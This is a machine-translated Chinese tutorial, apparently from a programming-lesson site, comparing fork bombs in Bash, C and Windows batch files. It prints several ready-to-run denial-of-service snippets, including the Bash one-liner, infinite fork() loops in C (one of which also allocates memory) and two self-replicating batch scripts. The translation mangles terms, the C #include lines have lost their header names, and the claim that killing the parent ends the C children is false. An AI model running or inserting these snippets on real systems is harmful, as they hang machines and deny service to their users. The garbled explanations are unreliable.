📜  C vs BASH前叉炸弹

📅  最后修改于: 2021-05-25 22:37:56             🧑  作者: Mango

先决条件:

  • 货叉系统调用
  • 叉炸弹

重击叉炸弹:

:(){:&:&};:

在Unix上工作:
在类似Unix的操作系统中,通常编写fork炸弹以使用fork系统调用。由于分叉的进程也是第一个程序的副本,因此一旦它们从帧指针处的下一个地址恢复执行,它们还将寻求创建自己的副本。这具有导致过程成指数增长的效果。

叉子炸弹的C程序:

// Modified fork bomb
#include 
#include 
  
int main()
{
    //Infinite loop
    while (1)
    {
        // Generating child fork processes
        fork();
    }
}

在Windows中工作:
Microsoft Windows操作系统没有与Unix fork系统调用等效的功能。因此,这种操作系统上的分叉炸弹必须创建新的进程,而不是从现有进程中派生。

在Bash和C fork()炸弹之间哪个更强大

很明显,BASH分支炸弹比其C程序版本强大得多。原因是在BASH中,我们创建的过程与父进程分离。如果父进程(我们最初启动的进程)被杀死,则其余进程继续存在。但是在C实现中,如果父进程被杀死,则列出的子进程会死掉,因此足以降低我们开始分解前叉进程的整个过程的初始进程。脚本直接与系统通信。

可以修改C语言中的fork炸弹程序。我们可以在创建派生进程时在程序中分配内存。
下面是修改后的C叉炸弹的实现:

// Modified fork bomb
#include 
#include 
  
int main()
{
    // Infinite loop
    while (1)
    {
        // Generating child fork processes
        fork();
  
        // Allocating memory in RAM
        int *p = (int *) malloc (sizeof (int) * 100000);
    }
}

Windows中不同的fork炸弹:

  • 终端脚本:
    %0|%0

    将其另存为bat扩展名(例如fork.bat)。
    每个符号的过程在某种程度上类似于BASH脚本。给定的行将再次调用同一文件,并将输出通过管道传递到同一批处理文件的另一个实例。这还不足以使系统崩溃。但是,这肯定会使CPU无响应,仅重启是唯一的选择。

  • 批处理文件:
    :runthis
    start %0
    goto runthis
    

    将其另存为bat扩展名(例如fork.bat)。
    在职的 :

    :runthis is a label which determines a point 
    where the execution can be sent using the goto command.
    
    start %0 asks the command prompt to launch 
    another instance of the same batch file into another process.
    
    goto runthis command tells the execution to 
    go to the runthis label which will then call the start %0 command.
    

    它将进行自我递归调用,并最终创建许多流程。
    由于资源过度使用,系统将挂断!许多命令提示符窗口将打开,整个系统将在几秒钟内停止运行。

想要从精选的最佳视频中学习和练习问题,请查看《基础知识到高级C的C基础课程》。